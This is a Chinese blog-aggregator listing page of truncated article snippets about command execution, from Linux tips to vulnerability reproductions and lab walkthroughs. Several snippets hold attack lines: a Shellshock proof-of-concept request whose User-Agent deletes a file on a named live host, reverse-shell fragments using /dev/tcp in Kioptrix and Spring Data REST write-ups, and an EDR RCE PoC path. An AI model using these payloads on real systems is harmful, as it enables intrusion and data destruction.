命令执行

利用python实现IP扫描

知识点:1使用subprocess模块，来调用系统命令，执行ping192.168.11.xxx命令2调用系统命令执行ping命令的时候，会有返回值(ping的结果)，需要用到stdout=fnull,
PeaSant_K·2020-08-22 02:22

命令行是你的至交好友

是的，它是在黑色屏幕上的白色（或者绿色）的显示区域，是神秘的文字流和奇怪的命令执行的地方。我知道很多大师级的程序员从来不使用命令行界面；然而，我也知
原文链接·2020-08-22 01:38

文件传输协议

→数据连接使用TCP端口号204、FTP有两种文件传输模式5、FTP采用两种数据传输方式→主动方式→被动方式FTP双TCP连接方式1、控制连接→用于在FTP客户端和FTP服务器之间传输FTP控制命令及命令执行信息
binglin8027·2020-08-22 01:22

在Linux命令行中使用计算器的5个命令

当然，我们也可以在Shell脚本中使用这些命令执行更为复杂的数学运算。这里我们主要介绍5种命令行计算器：bccalcexprgcalccmdqalc1.如何在Linux中使用bc执行计算bc是一种以
良许·2020-08-22 00:18

在Linux命令行中使用计算器的5个命令

当然，我们也可以在Shell脚本中使用这些命令执行更为复杂的数学运算。这里我们主要介绍5种命令行计算器：bccalcexprgcalccmdqalc1.如何在Linux中使用bc执行计算bc是一种以
良许·2020-08-22 00:40

威胁预警|多个挖矿僵尸网络开始使用ThinkPHP v5漏洞 威胁升级 ...

前言12月10日ThinkPHP团队发布了版本更新，修复了一处远程命令执行漏洞，该漏洞是由于ThinkPHP框架对控制器没有进行严格的安全过滤，致使攻击者可以伪造恶意参数进行代码执行。
weixin_34380781·2020-08-21 22:34

Bash远程解析命令执行漏洞测试方法

漏洞利用POC：GET/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1Host:help.tenpay.comUser-Agent:(){:;};/bin/rm./conf/test.xmlAccept:*/*Connection:keep-alive转载于:https://blog.51cto.com/zhpfbk/1878423
weixin_33953249·2020-08-21 22:44

Linux系统服务器 GNU Bash 环境变量远程命令执行漏洞修复命令

具体方法就是在ssh上执行yumupdatebash完成后重启VPS。转载于:https://www.cnblogs.com/afish/p/3994481.html
weixin_33951761·2020-08-21 22:44

Exploit-Exercise之Nebula实践指南（一）

本系列挑战涉及以下知识点：setuid,path环境变量，命令执行，crontab，软链接，/etc/passwd密码爆破、pcap包分析、php语言、lua语言、python语言、c语言、正则表达式、
合天智汇·2020-08-21 22:53

Redis 4.x RCE 复现学习

攻击场景：能够访问远程redis的端口（直接访问或者SSRF）对redis服务器可以访问到的另一台服务器有控制权实际上就是通过主从特性来同步传输数据，同时利用模块加载来加载恶意的用来进行命令执行的函数，
weixin_30376453·2020-08-21 22:58

漏洞复现——bash远程解析命令执行漏洞

漏洞描述：Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令，在一些cgi脚本中，数据是通过环境变量来传递的，这样就会形成该漏洞漏洞原理：bash通过以函数名作为环境变量名，以“（）{”（bash只有在遇到特殊的环境变量才会触发该漏洞）开头的字串作为环境变量的值来将函数定义导出为环境变量。而该漏洞就在于BASH处理这样的“函数环境变量”的时候，并没有以函数结尾“}”为结束，而是一
weixin_30314793·2020-08-21 22:22

【面经】上海英方软件测试岗一面—+二面

3.实现：命令执行成功输出1，失败输出04.主机a，b，c。a可以和cping通，c和b通，如何实现a到b也通？5.七层模型？6.tcp建立连接过程，为什么是三次？
Apollo-·2020-08-21 20:46

java反序列化——XMLDecoder反序列化漏洞

之前的两个反序列化漏洞不涉及T3协议之类的，只是涉及到了XMLDecoder反序列化导致漏洞，但是网上大部分的文章都只讲到了触发XMLDecoder部分就结束了，并没有讲为什么XMLDecoder会触发反序列化导致命令执行
合天智汇·2020-08-21 20:02

在Linux命令行中使用计算器的5个命令

当然，我们也可以在Shell脚本中使用这些命令执行更为复杂的数学运算。这里我们主要介绍5种命令行计算器：bccalcexprgcalccmdqalc1.如何在Linux中使用bc执行计算bc是一种以
良许Linux·2020-08-21 20:00

Linux Bash 命令执行的判断依据

cmd;cmd不考虑命令相关性的连续指令下达$?(指令回传值)与&&或||指令下达情况说明cmd1&&cmd2若cmd1执行完毕且正确执行($?=0),则开始执行cmd2。若cmd1执行完毕且为错误($?≠0),则cmd2不执行。cmd1||cmd2若cmd1执行完毕且正确执行($?=0),则cmd2不执行。若cmd1执行完毕且为错误($?≠0),则开始执行cmd2。command1&&comma
面包派·2020-08-21 20:44

SaltStack master file_roots 变量与 salt 命令执行的关系

一、第一种目录结构方式1、salt-master配置#cat/etc/salt/master……省略内容file_roots:base:-/srv/salt/baseprod:-/srv/salt/prod……省略内容pillar_roots:base:-/srv/salt/baseprod:-/srv/pillar/prod……省略内容2、目录结构[root@salt-master~]#tree
awker·2020-08-21 20:40

redis的多命令执行方法之一-pipeling

管道传输(pipelining)：用于一次性处理多条redis命令redis的执行流程为客户端发送命令到服务端，客服端阻塞等待服务端程序返回，如果中间由于网络通信问题导致速度比较慢，另外由于客户端和服务端的数据传输需要一定的时间。这个时间叫做RTT，RoundTripTime。如果有很多条命令要一次性传输，相对来说就会比较慢，redis提供了pipelining命令来处理。pipeling在传统的
liwenbo_csu·2020-08-21 19:35

Struts2再爆远程命令执行漏洞！Struts2-048 Poc Shell及防御修复方案抢先看！

当你的应用使用了Struts2Struts1的插件时，可能导致不受信任的输入传入到ActionMessage类中导致命令执行。解
chengman3837·2020-08-21 18:26

Redis 4.x/5.x 未授权访问任意命令执行

文章目录一、漏洞介绍1.1漏洞简介1.2影响版本1.3漏洞指纹二、环境搭建三、攻击过程3.1信息收集四、防御措施一、漏洞介绍1.1漏洞简介  Redis是常用基于内存的Key-Value数据库，默认绑定于6379端口，如果没有进行相关限制策略（添加防火墙规则避免其它非信任来源IP访问等）会将Redis暴露在公网上，Redis默认没有密码认证，导致任意用户可以访问Redis，从而使用master/s
風月长情·2020-08-21 18:54

漏洞修复之 bash漏洞远程命令执行

系统版本[root@wwwbash]#cat/etc/issueRedHatEnterpriseLinuxASrelease4(NahantUpdate8)Kernel\ronan\m不能使用yum测试方法：可以使用如下命令来检查系统存在此漏洞：env-iX=’(){(a)=>\’bash-c‘echodate’;catecho修复前输出：当前系统时间使用修补方案修复后date尝试过此篇介绍的升级
波子汽水yeah·2020-08-21 17:23

sqlcmd导入sql脚本

所以把表数据直接导出成sql脚本文件，想放到云服务器上直接导入数据，但是表数据太多，sql文件有5个G左右，ssms都打不开，txt也打不开，网上查找，发现可以用本地dos下sqlcmd命令执行sql文件
lxljw1314·2020-08-21 17:17

【注意】关于Redis存在远程命令执行漏洞的安全公告

来源：CNVD漏洞平台安全公告编号:CNTA-2019-00242019年7月10日，国家信息安全漏洞共享平台（CNVD）收录了Redis远程命令执行漏洞（CNVD-2019-21763）。
程序猿DD_·2020-08-21 17:42

【漏洞预警】Redis 4.x/5.x 远程命令执行高危漏洞修复

Redis4.x/5.x远程命令执行高危漏洞修复漏洞背景漏洞描述影响版本(Redis4.x、Redis5.x）安全建议一、通过阿里云安全组禁止Redis端口对外或只允许特定安全ip地址访问，如下：二、加固
52it.club·2020-08-21 17:39

win10系统浏览器上网遇到问题

4、netshwinsockreset命令执行过程分析（1）先进入netsh
worthsen·2020-08-21 15:20

less的学习

1.1less1.1.1Less环境安装安装nodejs在部分win8系统当中无法安装（解决办法的是已管理员权限运行cmd然后再按写命令切换到安装包目录，直接命令执行）安装完成nodejs之后检测是否安装完成
一晌贪欢i·2020-08-21 15:09

linux系统中的定时任务及延时任务

linux系统中的定时任务及延时任务目的：解决人不能时时监控，以及遗忘的问题一、延时任务（at）attime>命令>ctrld1.基本用法at-l列出延迟任务信息（该命令执行时间之后的延迟任务，不包括执行时间之前的延迟任务
123freya321·2020-08-21 12:05

搭建私有Git服务器

/configure这两个命令执行完就会生成makefile5mak
dexi.Chi 程序猿·2020-08-21 12:31

根据机器的CPU、主板、MAC地址生成唯一的激活码，授权认证

根据机器的CPU、主板、MAC地址生成唯一的激活码，授权认证Dagon_Code判断是否为虚拟机或者容器Windows下获取CPU序列号获取主板序列号获取本机所有MAC地址信息Linux下执行命令执行命令后获取信息根据获取的机器信息
dagon123·2020-08-21 08:28

Mac上如何用anaconda安装tensorflow

去官网下载后运行就好了，我安装的是界面版本)1.在终端输入：condacreate-ntensorflowpython=3.7该命令执行完后，你的anaconda的environment处应该会有这样的显示
梦回普达措·2020-08-21 08:12

Linux中history配置及使用技巧

这时我们就需要对history进行一些配置，让它报告命令执行的具体时间。下面就是关于history的配置方法以及其他操作。
漠效·2020-08-21 08:00

【漏洞修复】修复 Apache Flink Web Dashboard 未授权访问致远程命令执行漏洞

【漏洞修复】修复ApacheFlinkWebDashboard未授权访问致远程命令执行漏洞介绍攻击者通过FlinkWebDashboard上传含有恶意代码的jar包进行攻击，中招会使服务器占满CPU沦为挖矿机
_RobinWang·2020-08-21 04:15

df -h 卡死的情况

第一步：首先用strace命令跟踪，查看df命令执行到哪一步开始卡死。
四八老姜·2020-08-21 03:14

mysql数据库操作

mysql-uroot-p登录后执行以下命令CREATEDATABASEdb_name;使用mysqladmin在终端创建数据库因为mysqladmin-uroot-pcreateyisen2Enterpassword:以上命令执行成功后会创建
yisen·2020-08-21 02:45

如何使docker容器不退出

运行容器时可以指定其执行什么命令,但是这个命令执行完了，这个容器就自动终止了所以这个命令执行不会完成，那么容器就不会终止1.dockerrun时可以指定/bin/sh-c"whiletrue;dosleep1
晨曦85·2020-08-21 02:31

基于QL的安全研究—在Spring Data REST中找到一个远程命令执行(CVE-2017-8046)

翻译自：https://lgtm.com/blog/spring_data_rest_CVE-2017-8046_ql翻译：聂心明在这篇文章中，我将介绍SpringDataREST远程命令执行漏洞并且我将展示如何使用
niexinming·2020-08-21 00:51

内网穿透：Sunny-Ngrok FRP Mac、Linux、树莓派使用教程

客户端下载Mac、Linux命令，打开终端需要进入到sunny文件所在的目录，当下面命令执行完成出现代理启动成功的字样，说明隧道启动成功。.
sphynx·2020-08-21 00:16

内网穿透：Sunny-Ngrok FRP Mac、Linux、树莓派使用教程

客户端下载Mac、Linux命令，打开终端需要进入到sunny文件所在的目录，当下面命令执行完成出现代理启动成功的字样，说明隧道启动成功。.
sphynx·2020-08-21 00:16

(二)docker的基本组成

守护进程处理完所有的工作并返回结果，客户端对服务器端的访问即可以是本地也可以通过远程来访问如图，我们通过客户端执行各种命令，客户端会将命令发送给守护进程，守护进程执行的结果还可以传回客户端，这样我们就能在客户端查看命令执行的结果
bigbear776·2020-08-20 23:15

应急响应（下）

5.5后门检测与查杀-webshell1、关于webshell概念：存在于web服务器端的脚本后门，以asp、php、jsp等网页文件形式存在的一种命令执行环境特性：与服务端正常脚本运行原理相同。
随 亦·2020-08-20 22:22

实战node静态文件服务器

支持功能:读取静态文件访问目录可以自动寻找下面的index.html文件,如果没有index.html则列出文件列表MIME类型支持缓存支持/控制支持gzip压缩Range支持，断点续传全局命令执行子进程运行
lihuanji·2020-08-20 22:05

vulnhub- Kioptrix: Level 1.1 (#2) (考点：sql注入/命令执行/linux版本提权）

arp-scan-l扫出来多的那个就是nmapmapscanreportfor192.168.189.164Hostisup(0.00054slatency).Notshown:994closedportsPORTSTATESERVICEVERSION22/tcpopensshOpenSSH3.9p1(protocol1.99)|ssh-hostkey:|10248f:3e:8b:1e:58:63
冬萍子·2020-08-20 21:15

Kioptrix: Level 1.1 (#2) -VulnHub靶机学习记录

环境：靶机：192.168.1.107kali：192.168.1.106主机发现端口扫描浏览器登录80端口，发现登录页面，尝试sql注入绕过密码登录成功进入，经典ping命令,存在命令执行kali开启监听
萌新学安全·2020-08-20 21:15

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

ShiroRememberMe1.2.4反序列化命令执行漏洞复现漏洞环境搭建漏洞复现反弹shell题外话1题外话2影响版本：ApacheShiroBase64解码–>AES解密–>反序列化。
莫憨憨·2020-08-20 21:43

Vulnhub靶机 Kioptrix: Level 2

找靶机，扫端口没有验证机制看的我都想暴力破解了万能密码试一下可以绕过admin‘or’1‘=’1抓包，这个样子命令执行192.168.0.128;bash-i>&/dev/tcp/192.168.0.128
菜浪马废·2020-08-20 21:20

基于bash find命令执行log日志备份和清理的一次简单实践

前言find作为最基础的bashshell命令之一我就不多做介绍了，由于每月压缩后的日志增长量已经超过20TB，和PB相比应该还不算很大，选择的日志归档同步方案是FacebookScribe，之后或许会基于ELK或GrafanaLoki搭建日志实时分析平台，不过眼下的问题还是想办法在没有商业化集中式存储和软件定义分布式存储的支持下，用比较简单粗暴的方法苦苦支撑，本文分享了一些简单的小技巧方便回顾和
王奥OX·2020-08-20 21:04

基于bash find命令执行log日志备份和清理的一次简单实践

前言find作为最基础的bashshell命令之一我就不多做介绍了，由于每月压缩后的日志增长量已经超过20TB，和PB相比应该还不算很大，选择的日志归档同步方案是FacebookScribe，之后或许会基于ELK或GrafanaLoki搭建日志实时分析平台，不过眼下的问题还是想办法在没有商业化集中式存储和软件定义分布式存储的支持下，用比较简单粗暴的方法苦苦支撑，本文分享了一些简单的小技巧方便回顾和
王奥OX·2020-08-20 21:04

Spring Data Rest 远程命令执行漏洞复现(CVE-2017-8046)

漏洞分析漏洞原理：Spring-data-rest服务器在处理PATCH请求时，攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器，通过构造好的JSON数据来执行任意Java代码影响版本：SpringDataRESTversions&/dev/tcp/10.10.10.10/77770>&1base64编码：bash-c{echo,YGJhc2ggLWkgPiYgL2
Franchi小白帽·2020-08-20 21:48

深信服EDR（终端检测响应平台）远程命令执行

深信服edr远程命令执行复现1、POChttp:xxxxxx/tool/log/c.php?
梭哈王·2020-08-20 21:04

Vulnhub系列:Kioptrix Level 2

www.vulnhub.com/entry/kioptrix-level-11-2,23/运行环境kali：192.168.44.128Vulnhub靶机：192.168.44.133相关知识点万能密码命令执行内核提权
顽童先生·2020-08-20 21:47

linux 文件操作

tacfilehead：作用：显示文件开头的若干行内容格式：head-nfilen为要显示的行数tail：作用：显示文件结尾的若干行内容格式：tail-nfilen为要显示的行数more：作用：分页显示其它命令执行的结果格式
dagailv·2020-08-20 21:41
上一页 75 76 77 78 79 80 81 82 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他